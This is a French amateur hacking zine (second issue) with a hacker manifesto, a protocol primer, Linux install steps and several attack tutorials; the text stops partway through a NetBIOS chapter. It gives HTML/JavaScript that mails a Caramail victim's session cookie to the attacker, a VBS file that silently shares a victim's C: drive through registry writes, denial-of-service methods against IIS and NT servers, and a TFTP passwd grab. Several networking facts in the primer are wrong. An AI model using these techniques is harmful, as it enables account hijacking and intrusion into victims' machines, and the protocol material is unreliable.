Hack Zine
By [Kefka]
deuxième
édition
Sommaire
1°/Introduction
2°/Manifeste des hackers
3°/Les protocoles internet
4°/Hacker une boîte caramail
5°/Linux : Installation
6°/D.O.S (Denial of service)
7°/Accèder au contenu du disque dur de quelqu'un
8°/La programmation en C
9°/Programmation de sockets
10°/Programmation d'un scanneur de ports
11°/ICMP Smurfing - By LiOn7
12°/Intelligence artificielle
13°/Discussion avec un lamer
14°/Exploiter les failles php
15°/Conclusion
Disclaimer: Ces informations
sont à titre purement éducatif, je ne serais en aucun cas responsable
de ce que vous pourriez faire avec . Tout acte ou tentative de piratage
est reprimé par la justice. HackZineÒ, [Kefka]
1°/Introduction
Ahhhhhh ba c'est pas trop tôt me direz vous... Ca fait quand même près de quatres mois qu'on l'attend, ce nouvel épisode de HackZine. Si vous n'avez toujours pas lu le numéro précédent, courez me le demandez, vous pouvez toujours me contacter sur nickairmax@caramail.com , je me ferais un plaisir de vous l'envoyer (;))) . Voici donc le deuxième numéro, avec toujours autant de hack, de plaisir, mais cette fois ci on va passer à la vitesse supérieure... Sans pour autant atteindre un niveau trop élevé, faut que ça reste grand public quand même..
Bon, alors, on va d'abord commencer par un manifeste, qui donne une superbe définition des hackers (vous pouvez toujours lire la mienne dans le premier numéro de HackZine mais celle là n'a rien à voir comparé au manifeste que je vais vous proposer, mais alors rien du tout :)) ), puis après, on verra plein d'autres trucs interessants, nottament la programmation en c, les protocoles internet, la programmation de sockets, le hack par e-mail, linux, etc...
Si vous avez des suggestions,
des commentaires, des conneries à dire, ou tout simplement si vous souhaitez
reçevoir le premier numéro de HackZine, mailez moi à nickairmax@caramail.com.
Bon, sans plus tarder, Moteur, ça tourne !!!
HAVE FUN
!!!
2°/Manifeste des hackers
Bon, ici, j'ai envie de vous placer un manifeste, rédigé par un parfait inconnu, traduite par Neuralien, et qui date du 8 janvier 1986.
Remarquez et admirez le style
d'écriture très prononcé... Du tout bon !!!
Un autre s'est fait prendre
aujourd'hui, c'est partout dans les journaux. Scandale: Un adolescent
arrêté pour crime informatique, arrestation d'un 'Hacker' après le piratage
d'une banque...
Satanés gosses, tous les mêmes.
Mais avez vous, dans votre
psychologie en trois pièces et votre profil technocratique de 1950,
un jour pensé regarder le monde derrière les yeux d'un hacker? Ne vous
êtes vous jamais demandé ce qui l'avait fait agir, quelles forces l'avaient
modelé ?
Je suis un hacker, entrez dans mon monde...
Le mien est un monde qui commence avec l'école... Je suis plus astucieux
que la plupart des autres enfants, les conneries qu'ils m'apprennent
me lassent...
Je suis au collège ou au lycée.
J'ai écouté les professeurs expliquer pour la quinzième fois comment
réduire une fraction. Je l'ai compris. "Non Mme Dubois, je ne peux
pas montrer mon travail. Je l'ai fait dans ma tête".
Satané gosses. Il l'a certainement copié. Tous les mêmes.
J'ai fait une découverte aujourd'hui.
J'ai trouvé un ordinateur. Attends une minute, c'est cool. Ca fait ce
que je veux. Si ça fait une erreur, c'est parce que je me suis planté.
Pas parce qu'il ne m'aime pas...
Ni parce qu'il se sent menacé par moi...
Ni parce qu'il pense que je suis un petit filous...
Ni parce qu'il n'aime pas enseigner et qu'il ne devrait pas
être là...
Satanés gosses. Tout ce qu'il fait c'est jouer. Tous les mêmes.
Et alors c'est arrivé... Une porte s'est ouverte sur le monde... Se précipitant a travers la ligne téléphonique comme de l'héroïne dans les veines d'un accro, une impulsion électronique est envoyée, on recherche un refuge à l'incompétence quotidienne... Un serveur est trouvé.
Vous vous répétez que nous sommes tous pareils... On a été nourri à la petite cuillère de bouffe pour bébé à l'école quand on avait faim d'un steak... Les fragments de viande que l'on nous a laissé étaient pré-machés et sans goût. On a été dominé par des sadiques ou ignoré par des apathiques. Les seuls qui avaient des choses à nous apprendre trouvèrent des élèves volontaires, mais ceux ci sont comme des gouttes dans le désert.
C'est notre monde maintenant...
Le monde de l'électron et de l'interrupteur, la beauté du Baud. Nous
utilisons un service déjà existant, sans payer ce qui pourrait
être bon marché si ce n'était pas la propriété de gloutons profiteurs,
et vous nous appelez criminels. Nous explorons... et vous nous appelez
criminels.
Nous recherchons la connaissance... et vous nous appelez criminels.
Nous existons sans couleur de peau, sans nationalité, sans dogme religieux...
et vous nous appelez criminels.
Vous construisez des bombes atomiques, vous financez les guerres,
vous ne punissez pas les patrons de la mafia aux riches avocats,
vous assassinez et trichez, vous manipulez et nous mentez en essayant
de nous faire croire que c'est pour notre propre bien
être, et nous sommes encore des criminels.
Oui, je suis un criminel. Mon
crime est celui de la curiosité. Mon crime est celui de juger les gens
par ce qu'ils pensent et dise, pas selon leur apparence.
Mon crime est de vous surpasser, quelque chose que vous ne me pardonnerez
jamais.
Je suis un hacker, et ceci
est mon manifeste. Vous pouvez arrêter cet individu, mais vous ne pouvez
pas tous nous arrêter... après tout, nous sommes tous les mêmes.
J'ai rien à redire là dessus, bravo monsieur "The Mentor", 20/20 ! :p
"On ne naît
pas hacker, on le devient"
3°/Les protocoles internet
Nous allons étudier dans ce
chapitre les protocoles internet les plus connus, et les classer par
rapport aux couches du modèle O.S.I qu'ils recouvrent (et oui, faut
avoir lu mon zine précèdent pour comprendre ça :p). Pour votre culture
générale, voici le détail de ces différents protocoles:
a) les protocoles qui recouvrent
la couche Application du modèle O.S.I
On va surtout retrouver dans
cette partie les protocoles FTP, SMTP, HTTP, et POP, ce sont les plus
connus. Voilà donc le détail de ces protocoles :
-FTP : File Transfert Protocol (port 23): FTP est un protocole qui va permettre de déplacer des fichiers entre une grande variété d'ordinateurs. FTP emploie le protocole TCP (Transmission Control Protocol) comme mécanisme de transport pour transférer des données.
FTP établit deux connections TCP, l'une pour transférer des données, l'autre pour transférer des commandes.
Chaque hôte FTP dispose d'un module PI (Protocol interpreter: interpréteur de protocoles) qui a la dûre tache d'agir sur les commandes et les réponses FTP.
Chaque hôte FTP dispose aussi d'un module de transfert de DT (data transfert : données de transfert quoi ... ) qui est responsable du traitement des données. Ces modules, PI et DT, sont bien entendus "inter-connectés".
FTP utilisera Telnet comme PI. Voilà maintenant un petit shéma ( c'est pas ça qui va vous faire du mal :p )
Interface utilisateur
|
|
Commandes FTP |
Interpréteur de protocole <------------------- >Interpréteur
serveur Réponses FTP de protocole
| utilisateur
|
Système de fichiers <----->Module de transfert:<-------------------->Module
données serveur Connection des transfert
données données:
utilisateur
|
|
Système
de fichiers
Ici, on a le serveur FTP dans
la partie gauche, et l'utilisateur dans la partie droite. L'utilisateur
envoie des commandes FTP par le biais d'un interpréteur de commandes.
Les commandes envoyés par l'utilisateur vont être ensuite interprété
par le serveur, celui-ci va répondre à la commande, et utiliser le module
de transfert (celui du serveur) pour envoyer les données correspondant
à la demande de l'utilisateur. Le protocole FTP se chargera donc d'acheminer
les fichiers demandés par l'utilisateur en question, ou tout simplement
d'executer des commandes sur le serveur. Voilà, vous savez tout !!!
Bon je vais profiter de FTP
pour vous parlez de TFTP, son petit frère... Son port le 69a, il peut
être très interessant car il possède de nombreuses failles. Essayez
donc cette série de commandes pour Linux (les tags ne sont pas à taper
vous vous en doutez bien... comment ça non?? :)) ) :
>evil % tftp
>connect la_machine
>get etc/passwd ... alors
ça vous rapelle pas des trucs ça? lol
Héhé, voilà, les points sont
remis sur les i. Désolé de m'être quelque peu éloigné de mon sujet mais
ça en vallait bien la peine mouarf....
-SMTP : Simple Mail Transfer Protocol (port 25): SMTP, comme son nom l'indique, est un protocole simple de messagerie, qui sera donc utiliser pour le transfert du courrier électronique du client vers un serveur SMTP. C'est un protocole de type requête réponse.
Comment ca fonctionne? Après qu'un connection TCP est établie, le serveur SMTP envoie une commande HELO qui permet à l'expéditeur de s'identifier. Ensuite, il envoie une commande MAIL. Si tout se passe bien, l'autre serveur SMTP va répondre OK, pour indiquer qu'il est prêt à reçevoir le courrier. L'émetteur SMTP (celui qui envoie le mail), envoie alors une commande RCPT TO, afin d'indiquer l'adresse email du recepteur du courrier. Le serveur va vérifier s'il est possible d'envoyer un mail au recepteur avec la commande VRFY. Après quoi le message va être envoyé par la commande DATA, au récepteur.La commande TURN va être utiliséé pour répondre au message. Alors, ça ne vous rapelle rien? Souvenez vous, pour envoyer des mails anonymes, HELO mail.server.com, mail from: vous@server.com , rcpt to: victime@server.com , data puis votre message... (voir HackZine1)
Et pour les serveurs SMTP, ils sont le plus souvent nommés sous la forme mail.domaine.com .
Ba voilà, je peux pas vous
dire grand chose de plus... :))
-HTTP : Hyper Text Transport
Protocol (port 80 ou 8000): Le protocole HTTP est un protocole e/s (entrée/sortie)
permettant d'accéder aux ressources du Web par le biais des URL (Uniform
Resource Locator). Les trois principales commandes sont GET (pour récupérer
une ressource localisée sur un serveur et l'envoyer au client), POST
(pour envoyer des données d'un client à un serveur) et HEAD (pour récupérer
des métas-informations sur l'URL à partir du serveur, sans récupérer
le fichier en lui même). Voilà à quoi devrait ressembler une URL:
<protocole>://<utilisateur>:<mot
de passe>@<hôte>:<port>/<chemin>
ou <protocole> définit le protocole employé par l'url, cela peut être par exemple http, ftp, wingate, nfs, file, nntp, finger, irc, cid...
<utilisateur> si nécessaire, est le nom de l'utilisateur et son <mot de passe>. <hôte> est le nom de champ de l'hôte du réseau, par exemple domaine.com ou son adresse ip. <port> est le numéro du port ip auquel on cherche à se connecter, s'il n'est pas précisé, ce sera alors la valeur du port par défaut du protocole utilisé par exemple pour http, cela sera 80). Enfin, <chemin> est le chemin d'accès aux données associés à l'url. Voilà un exemple d'une URL:
http://www.homepage.com/index.htm
Cela pourrait être aussi:
http://anonymous:nickairmax@caramail.com@homepage.com:80/index
Voilà, c'est pas plus dur que
ça tout comptes faits.
-POP: Post Office Protocol (port pop3): Le protocole POP est un protocole email applicable au modèle email client /serveur hors connection. Nous sommes aujourd'hui à la version 3 de ce protocole (pop3 quoi...).
Un client POP3 envoie des commandes à un serveur POP3 et attend les réponses, libellées en ASCII.
Voilà une liste de ces principales
commandes:
-USER, pour identifier la boîte aux lettres sur laquelle le client désire opérer.
-PASS, pour fournir le mot de passe correspondant à la boîte aux lettres définie par la commande USER
-STAT, le serveur envoie les statistiques concernant la boîte de réception, comme le nombre de messages, leur taille en octets...
-RETR + msg, le serveur envoie le texte du message identifié par le paramètre msg.
-DELE + msg, le serveur supprime
le message identifié par le paramètre msg.
-NOOP, le serveur retourne une réponse positive.
-RSET, le serveur rétablit dans leur état initial tous les éléments qui ont été supprimés.
-QUIT, le serveur, si le client
le désire, ferme la sessoin client/serveur.
Cette liste est cependant loin d'être exhaustive ( désolée :-( ), alors, si vous voulez en savoir plus, consultez le document RFC 1939.
Passons à autre chose...
b) Les protocoles recouvrant
la couche Réseau du modèle O.S.I
Dans cette seconde partie,
nous aborderons principalement les protocoles IP, ICMP et ARP. Bon,
place aux détails... (NB: les protocoles suivants ne sont pas attribués
d'un numéro de port, vu que ce ne sont pas des protocoles applicatfs,
pas de surprise donc :p)
-IP : Internet Protocole: Je vous avais déjà parler du protocole IP dans mon zine précèdent. Nous allons toutefois essayer de l'aborder d'une manière plus détaillée. Internet est composé d'un grand nombres d'ordinateurs hôtes et de matériels apellés routeurs (on peut aussi dire "node"). Plusieurs ordinateurs hôtes inter-connectés forment un réseau, plusieurs réseaux forment un ilôt. Ces ilôts sont connectés par des routeurs (dispositifs permettant de reçevoir et d'acheminer des données depuis un réseau, voir chap. 16 du premier numéro). Chaque hôte et chaque routeur doit avoir une adresse unique, pour que les packets puissent transiter par ces matériels. Le protocole IP définit un format d'adressage (les adresses IP) et un mécanisme de transfert de données appelé datagramme. Ces datagrammes IP sont encapsulés dans les trames des protocoles de bas niveau, genre Ethernet. Un datagramme IP, donc, comprend un en-tête IP, suivi de données apellées "payload". L'en-tête IP est de longueur variable. Mais j'ai pas trop envie de m'embrouiller là dedans, c'est totalement inintéressant, alors parlons plutôt de l'adressage IP, que l'on avait déjà vu dans le numéro précédent, et que l'on va essayer d'approndir maintenant (et oui m'sieur).
Actuellement, le protocole ip en est a sa 4ème version (IPv4), d'ailleurs on va pas tarder à passer à IPv5. IPv4 définit, souvenez vous, des adresses réseau longues de 32bits (64 pour le futur IPv5, mais bon, on s'en fout un peu là mdr), assignées par l'IANA (heuuuu ché plus ce que ça veut dire ce trux là dsl :p).
Les adresses IP sont réparties
en 4 classes (A, B, C et D). Je vous fais un tableau c'est plus explicite:
Valeur du Nombre Nombre d'hôte
Classe masque de réseau d'adresses dispo dispo
-------------------------------------------------------------------------------------------
Classe A : 255.0.0.0 : 128 : 16777214
Classe B : 255.255.0.0 : 16384 : 16382
Classe C : 255.255.255.0 : 2,1 milions : 253
Classe D : N/A : N/A : N/A
(multicast)
255.0.0.0 recouvrira un réseau dont les 8 premiers bits (la première "partie de l'adresse IP, dont la valeur variera entre 0 et 255) à eux seuls serviront à identifier ce réseau, et qui pourra posséder 16777214 ordinateurs hôtes... Bien sûr, quand une entreprise se voit attribuer une adresse de classe A, elle n'est pas obligatoirement dotée de 16777214 hôtes, mais elle peut compte quelques centaines d'ordinateurs sur chacun de ses sites.
En ce qui concerne les adresses
IP de classe D, on les nommes adresses multicast, elles recouvrent un
ensemble de nodes (un node est une abréviation de répeteur, pont, routeur,
hôte, contacteur ou passerelle, lol du coup mon abréviation me rallonge
tant pis pour moi :p ) IP qui forment un groupe logique (par exemple
cela peut être une "succession" de routeurs). Bon, j'éspère
avoir été assez clair (pour être honnête, j'aurais jamais penser faire
un article aussi compréhensible sur ce sujet :o), maintenant, passons
à autre chose.
-ICMP (Internet Control Message
Protocol): Ce protocole est employé par les hôtes et les routeurs pour
échanger une informations de contrôle, comme par exemple une erreur.
Vu que je fais partie de ce pourcentage de la population qui ne maîtrise
pas du tout ICMP (dsl mais rien que le nom, ICMP, me fait mal à la tête
:( ) , et que j'ai l'intention de parler uniquement de ce que je connais
(et pas des trucs que j'y comprend rien dsl), je ne m'étendrais pas
plus sur ce point. Cependant, pour avoir de la doc la dessus, vous pouvez
toujours consulter les doc RFC 1256, 1122 et 792 (les documents rfc
sont des documents rassemblant toutes les normes de l'internet, nomenclatures,
etc... http://ds.internic.net/rfc )
-ARP : Adress Resolution Protocole:
C'est le protocole de résolution des adresses. Quand une adresse IP
est est connue, le protocole ARP se charge de localiser l'adresse physique
du matériel, par le biais d'un service DNS (Domain Name Service), qui
va convertir l'adresse IP en nom de domaine et vice-versa. Je suis pas
100% sûr que ma définition soit correcte, il me semble que ARP et DNS
sont deux choses différentes, enfin bon... :)) Passons
maintenant à autre chose.
c) les protocoles recouvrant
la couche Transport du modèle O.S.I
On parlera dans cette partie
principalement des protocoles TCP et UDP.(d'ailleurs, je crois que ce
sont les seuls protocoles existants à ce niveau là)
-TCP : Transmission Control
Protocol: TCP est le protocole qui concerne tout ce qui est réassemblage
des packets IP, vérification du message contenu dans les packets, etc...Il
prendra aussi en charge la réorganisation des datagrammes IP, leur mise
en ordre... Il s'occupera donc principalement du contrôle de la communication/transmission
entre deux ou plusieurs ordinateurs. TCP constitue avec IP le protocole
standard qui s'occupe de la transmission de données sur Internet.
-UDP : User Datagramm Protocol: UDP est un protocole, au sein de IP, qui fournit un service de datagrammes. Ce service ajoute des fonctionalités à IP: Il offre un multiplexage et un démultiplexage, qui fait en sorte que les applications sur un poste client ou su un poste serveur, aient leur propre flux de datagrammes. Il offre également un checksum, càd une méthode de calcul qui va vérifier la validité des datagrammes reçus.
Un packet UDP se compose d'un entête, suivi de payloads, encapsulés sous forme de portion de données dans un packet IP.
C'est tout ce qu'on pouvait
dire là dessus, j'espère que vous avez compris :)).
Cette liste de protocoles,
est bien sûr, loin d'être exhaustive, j'aurais pu vous parler par exemple
de IRC ou de NTP, mais je crois que ça devrait déjà suffir... Bon, après
la partie technique, on va s'interesser à la partie pratique, le hack
proprement dit . :))
4°/Hacker une boîte email
Bon, si vous avez déjà lu mon premier numéro, vous devez déjà être en train de vous morfondre devant votre écran à vous dire que ce chapitre, c'est rien que du rechauffé, etc... Non, n'ayez crainte (:p), on va plutôt s'interesser à comment avoir accès à une boîte de reception qui ne nous appartient pas, à l'aide d'un simple cookie.
Le principe est très simple, il suffit juste de s'y connaître un peu en HTML. Cela va consister à envoyer un script à la victime, maquillé par exemple en image bmp, qui, si la victime l'ouvre, nous enverra son cookie identifiant, avec lequel on pourra accèder à sa boîte de reception héhéhé...
On va prendre pour exemple une victime possèdant un compte sur caramail.
Caramail est très interessant
car, pour envoyer du courrier électronique, on passe par un simple formulaire,
et c'est cette faille là que nous allons exploiter. Ce formulaire se
trouve à http://www.caramail.com/cgi-bin/SelectAction? et les commandes
"d'action", après l'interface cgi-bin, sont celles ci:
DEALIAS= qui va servir à attacher un fichier
MAILTO= qui va définir l'adresse du récepteur (donc de votre victime lol)
SUBJECT= le sujet du message
BODY= le corp du message, révisez votre HTML bon sang !!
TARGETACTION= qui définit les
paramètres de l'envoi du message
On va donc forcer la victime, avec notre script à nous envoyer un mail, par l'intermédiaire de cette adresse : http://www.caramail.com/cgi-bin/selectaction?dealias=0&mailto=votre_login@caramail.com&subject=le cookie de votre victime (cela étant le sujet du mail que vous devriez reçevoir si la victime éxecute votre script)&body=" +windows.document.cookie (cela correspond en java script à la commande qui va permettre de récupérer le cookie de la page sur laquelle la victime est, càd sa boîte de reception niark niark...)+"targetaction=none".
Voilà donc à quoi devra ressembler
le code permettant de récuperer ce maudit cookie :((. :
<html>
<body onload="windows.location=http://www.caramail.com/cgi-bin/SelectAction?DEALIAS=0&MAILTO=votre_login@caramail.com&SUBJECT=le cookie&BODY=' +windows.document.cookie + '&TARGETACTION=NONE';">
</body>
</html>
On placera donc ce code dans un fichier txt, que l'on enverra à la victime. Si celle-ci l'ouvre, caramail devrait interpreter ce code en html (au cas où cela ne se produirait pas, envoyer le même fichier, mais en format *.htm). Vous devrez donc reçevoir le cookie de la victime dans la minute qui suit, :p.
Puis pour ouvir le cookie, utilisez hkit. Vous pourrez donc accèder à la boîte de reception de la victime, en utilisant l'adresse http://www.caramail.com/NbParFolder
Sinon vous pouvez aussi envoyer
ceci, en html, sans passer par "attacher un fichier".
<html>
<head>
</head>
<body bgcolor="#ffffff" link="#000099" vlink="#000099">
<table border=0 cellpading=0 cellspacing=0 width=100%>
<tr bgcolor=#foe8cc><td colspan=3><center></center></tr></th>
<a href="http://www.caramail.com/cgi-bin/SelectAction?DEALIAS=0&MAILTO=votre_login@caramail.com&SUBJECT=le cookie&BODY=' +windows.document.cookie + '&TARGETACTION=NONE"</a>
<center><font face="Arial, Helvetica" size="5">Cliquez ici pour la surprise</font><br>
<font face="Arial, Helvetica" size="1">© 2002 caramail. Tout droits réservés
</font></center>
<br>
<br>
<br>
</body>
</html>
Recopier ce texte et envoyer le à votre victime, en cochant avant la case "envoyer en html". Je trouve d'ailleurs cette méthode encore mieux que la précédente, enfin bon, c'est à vous de voir...
Avec tout ça, les fake-mails,
c'est depassé !! mdr
5°/Linux : installation
Linux, tout comme la connaissance de langages de programmation, est indispensable pour devenir un "vrai" hacker, vous verrez pourquoi plus tard. Pour l'instant, nous allons apprendre à installer Linux...
En effet, cette installation est réputée pour être particulièrement compliquée, mais bon, tant que vous avez des bon documents sous vos yeux, ça ne devrait pas vous poser trop de problèmes :p
On va s'interesser à l'installation d'une Redhat, une version 5.2 mais ça devrait également s'appliquer pour les versions postérieures ou antérieures, quand à Debian, on verra ça une autre fois.
Bon, on commence...
Au départ, vous allez devoir créer votre disquete de boot (sauf si vous en avez déjà une ça va de soit lol), afin d'installer Linux. Vous insérez donc, sous windows, le cd de la Redhat, ainsi qu'une disquette vierge dans le lecteur de disquette, puis vous chercher le fichier rawrite.exe, généralement présent dans le repertoire /dosoutil. Vous l'executez donc et vous tapez (en supposant que le nom de partition de votre lecteur cd soit g:/ et celui de votre disquette a:/):
>rawrite -f g:\images\boot.img -d a: -n
Vous aurez ainsi votre disquette
de boot. Puis vous allez partitionner votre disque dur, afin de préparer
de l'espace pour Linux. Supposons que vous partitionner votre disque
dur en c: (là ou se trouve windows) et en d: (là où vous placerez votre
Linux). Bon, maintenant, redemarrez en laissant la disquette de boot
dans le lecteur a: .
Un menu d'option va alors s'afficher. Appuyez sur la touche entrée pour lancer l'installation. On va vous demander en quelle langue vous voulez que l'installation se fasse: Taper "fr" et valider avec la touche entrée. On va maintenant vous demander si vous avez une interface scsi, répondez non, et la langue, français, et le clavier, fr-1. Ensuite on va vous demander la méthode d'installation, choisissez "cdrom" et mettez le cdrom de Linux.
Lancez maintenant une installation personalisée. On va vous demander si vous préférez utiliser FDisk ou DiskDruid. Répondez DiskDruid, c'est plus simple :)) .
Vous atterirez donc dans une
fenêtre, utilisez les flèches directionnelles et la touche tab pour
vous déplacer, la barre espace pour cocher et la touche entrée pour
valider.
Vous avez donc vos deux partitions dos, c: et d: si vous avez bien suivi (;))), qui s'apelleront respectivement hda1 et hda2. Vu que hda1 correspond à votre disque dur sur lequel windows boot, vous n'y touchez pas. Interessons nous à hda2, qui contiendra votre Linux.
Donc à la place de la partition hda2 vous allez créer une partition hda2 linux native (c'est la partition de linux ou sera installé le système d'exploitation et toutes vos données Linux) et une parttion hda3 Linux Swap (c'est une partition jouant le rôle de mémoire ram pour le cas où votre mémoire ram ne serait pas assez grande. Cela évite à l'OS de faire un choix sur les données à garder comme le fait le dos). Vu que vous voulez avoir Linux pour hacker (héhéhé.....) vous n'allez faire qu'une seule partition native.
Vous avez donc deux partitions pour Linux, hda2 (celle qui contient l'os et la partition native pour la mémoire ram) et hda3, la swap.
On va ensuite vous demander le point de montage de la partition native, vous allez mettre: / , le symbole de la racine, il n'y aura pas besoin de point de montage pour la partition swap.
De Linux pour pouvoir accèder
à Windows il existe un programme qui s'appelle Samba et que l'on peut
installer sur Linux dès la première installation mais il y a un autre
moyen de pouvoir accèder aux données de Windows c'est de mettre un point
de montage à vos partitions dos. Par exemple de mettre le point de montage
/dosc à votre partition c:. Ce qui fera que dès que vous aurez installé
Linux et que vous vous mettrez en mode console, si vous faites cd /
puis ls vous apercevrez un repertoire nommé /dosc dans lequel vous trouverez
les même choses que si vous faites dir sous c:.
Une fois que vous avez fait tout ca il vous restera sûrement de la place donc nous allons créer une autre partition dos pour vous redonner de la place sous windows et ainsi recreer la partition d: que l'on avait effacé pour créer la partition Linux native. Celle la vous ne l'appelerez pas native ni swap mais avec le nom que celle qui contient Windows c'est à dire hda1 normalement. Ce nom dépendra de votre système si c'est le 95 le 98 et si c'est un fat 16 ou 32 vous serez amenés à mettre "DOS 16-bit>=32M" comme type de partition. Donc ne vous prenez pas la tête appelez la de la même manière mais surtout pas native ni swap. Comme cette partition est maintenant la partition d: vous pouvez lui mettre un point de montage pour pouvoir y accèder aussi sous Linux. Si vous avez mis /dosc pour c: , mettez /dosd en point de montage pour d: à moins que vous vouliez mettre autre chose, le choix est bien entendu libre.
Une fois toutes ces partitions
crées, cliquez sur "ok".
On vous demandera alors quels
packetages vous désirez installer. Là faites ce que vous voulez, le
fait que vous ayez installer un packetage qui ne convenait pas ne sera
pas dramatique vu que vous pourrez toujours les réinstaller, sans avoir
à installer à nouveau Linux. Après quoi on vous posera des questions
sur le matériel que vous utilisez, à savoir moniteur, résolution de
l'écran, souris, modem, etc.... Pas très compliqué là.
Ensuite vous allez devoir valider votre passwd root. Nous sommes bien
d'accord, l'user root est l'user qui a le plus de droits sur un système,
en l'occurence ici c'est vous lol. Tapez donc le passwd de votre choix,
et n'oubliez surtout pas de le retenir :p , ca pourrait être fatidique
pour la suite... Ne vous inquiétez pas, le passwd n'apparaîtra pas quand
vous le taperez, rester zen (|-|) .
Ensuite il va vous falloir paramètrer Lilo, qui est le programme qui se lance à chaque démarrage et qui vous demande sur quel O.S vous voulez bootez. Si vous êtes vraiment con, que l'installation de Linux était une erreur et que vous voulez bootez sur Win9x uniquement tapez :"fdisk /mbr", cela effacera Lilo mdr. Si vous voulez que votre pc lance Linux après 50 secondes d'inactivité lors d'un démarrage ou d'un reboot, laissez comme ça, c'est très bien. Sinon, appuyez sur F2 pour que à chaque démarrage, après 50 secondes d'inactivité, Lilo lance Windows (pour que windaube soit l'o.s par défaut quoi ). Hem, hem, je sais, ça n'a pas tellement d'importance ce que je vous raconte lol.
Appuyez donc sur la touche "entrée" : le pc va rebooter. Félicitations, Linux est installé !!! Un écran vous demandera sur quel O.S vous désirez bootez, choisisez bien sûr Linux, afin de l'essayer.
Vous lancez donc Linux, et là une fenêtre va vous demander votre login (pas très compliqué, vu que le seul user que l'on a pu mettre jusqu'à présent est le root, donc tapez "root") puis votre passwd (héhéhé, j'espère que vous l'avez pas oublié ce serait dommage arf).
Ensuite il vous restera plus
qu'à vous amuser, à essayer votre nouvel O.S, si vous êtes comme moi
et que vous maîtrisez plutôt bien le dos (arf), vous ne serez pas trop
depaysé, les commandes sont (quasiment) les mêmes.
Voilà, vous avez votre Linux,
alors demmerdez vous pour apprendre à le maîtriser, :)) . La suite au
prochain numéro...
6°/D.O.S (Denial of service)
Rien à voir avec le DOS de windows, lol. Un D.O.S est en fait une technique de plantage en règle sur un serveur.
Pour ceux qui pensent les D.O.S sont tendance crashers, les D.O.S sont en fait très pratiques pour se spoofer, ou pour mettre en marche un troyen.
Pourquoi? Et bien vous devez
savoir que les serveurs sont en permanence connectés, et qu'il est impossible
de prendre l'ip d'un poste (serveur ou non) déjà connecté. C'est là
qu'intervient le D.O.S, il va nous permettre de déconnecter le serveur,
afin de lui "piquer" son adresse ip, ou tout simplement de
le rebooter afin de mettre en marche un troyen ou une backdoor (préalablement
installée sur le serveur). Il existe des centaines de techniques de
D.O.S, je vais vous en expliquer quelques unes. :))
Serveur IIS 4.0 : Comment déconnecter un serveur IIS 4.0 (made in micro$oft lol) qui tourne sur un poste? Arf, bah c'est simple, si le poste en question a le port FTP (port 21, vous avez quand même pas déjà oublié nan? ) d'ouvert, connectez y vous dessus une dizaine de fois et envoyer à chaque connection les commandes "delete" ou "put", le serveur ne tardera pas à vous balancer une erreur 426, qui le rendra inutilisable pour tous les users ( ;) ), et donc après vous pourrez spoofer l'ip de ce serveur, qui du coup ne pourra plus se reconnecter mdr...
Pour ce qui est des commandes
"delete" et "put", il va vous falloir réaliser un
script, sinon, vous ne serez jamais assez rapide.
Serveur
NT 4.0 PPTP : Vous n'avez qu'à vous connectez sur le port loc-srv (135)
ou sur le port iad2 (1031) par telnet, et bombardez le serveur de plein
de caractère aléatoires, ce qui aura pour effet de déconnectez le serveur
:)) ... Là encore, il vous faudra réaliser un script pour générer rapidement
les caractères aléatoires.
Il existe également un programme, du nom de Pantherm, qui vous permet de configurer et de lancer des D.O.S .
Bah voilà, je pense que cela
devrait vous suffir. :))
7°/Accèder au contenu du disque
dur de quelqu'un
Cette méthode est en fait un complèment à la méthode parue dans le premier HackZine, qui expliquait comment lire le contenu du disque dur de quelqu'un par NetBios. Cette méthode, en effet, marche très très rarement :((; l'astuce que je vous propose va vous permettre d'ouvrir le port netbios (139) de la victime, et de lui activer l'option du partage des fichiers....
Pour ce faire, nous allons créer un fichier qui, si la victime l'ouvre, va entrer de nouvelles valeurs dans sa base de registre, et qui activera l'option "Partage de fichiers", qui nous permettra par la suite de le hacker par NetBios. Ce fichier est un fichier *.vbs, visual basic quoi...
Ouvrez donc le bloc-notes,
et tapez (les > représentent le début de chaque ligne, ne les tapez
pas ;)) ) :
>Set WshShell = CreateObject("WScript.Shell")
>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags",770, "REG_DWORD"
>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parmlenc", 6837, "REG_BINARY"
>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm2enc", 0, "REG_BINARY"
>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\"
>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Remark",""
>WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type",
0, "REG_DWORD"
Enregistrez maintenant cela en *.vbs et envoyez le fichier à votre victime. Maintenant que la victime l'a ouvert, faites un clique droit sur l'icône "Voisinage réseau", cliquez sur "Se connecter à un lecteur réseau" et spécifier le chemin d'accès, qui est : \\ip\C$
Où "ip" reprèsente
l'adresse ip de la victime et où "$" devant "C"
sert à rendre invisible le partage de fichiers (niark niark).
Et comme je suis généreux, je vais vous réexpliquer comment accèder à son disque dur... (des fois que vous n'aurez pas lu mon zine précédent :(( ).
Alors pour commencer, sachez qu'il existe une passerelle entre le protocole TCP/IP et le protocole NETBEUI, qui fonctionne au moyen de Netbios, et c'est avec Netbios que nous allons pouvoir hacker notre pauvre victime... Pour cela, vous, vous et votre victime, devez possèder Win9x (95 ou 98 kôa), ainsi que l'option "Partage des fichiers activé".
Pour activer cette option, c'est très simple, allez dans le Panneau de configuration, cliquez sur l'icône réseau puis sur l'option Partage des fichiers et de l'imprimante, et voilà, le tour est joué. :))
Bon, tout est en place, allons
y. Ouvrez une fenêtre DOS et tapez :
>nbtstat -a ip (ou ip représente
l'ip de la victime)
Une liste de noms d'oiseaux
(façon de parler :-) ) va alors s'afficher. Si ce n'est pas le cas changez
de victime, elle n'a pas NetBios d'installé.
Voilà ce que cela devrait donner
:
NetBIOS Remote Machine Name Table
Name Type Status
--------------------------------------------------
MONORDINATEUR <00> UNIQUE Registered
MONGROUPE <00> GROUP Registered
MONORDINATEUR <03> UNIQUE Registered
MONORDINATEUR <20> UNIQUE Registered
MONGROUPE <1E> GROUP Registered
MAC Address = 44-45-53-54-00-00
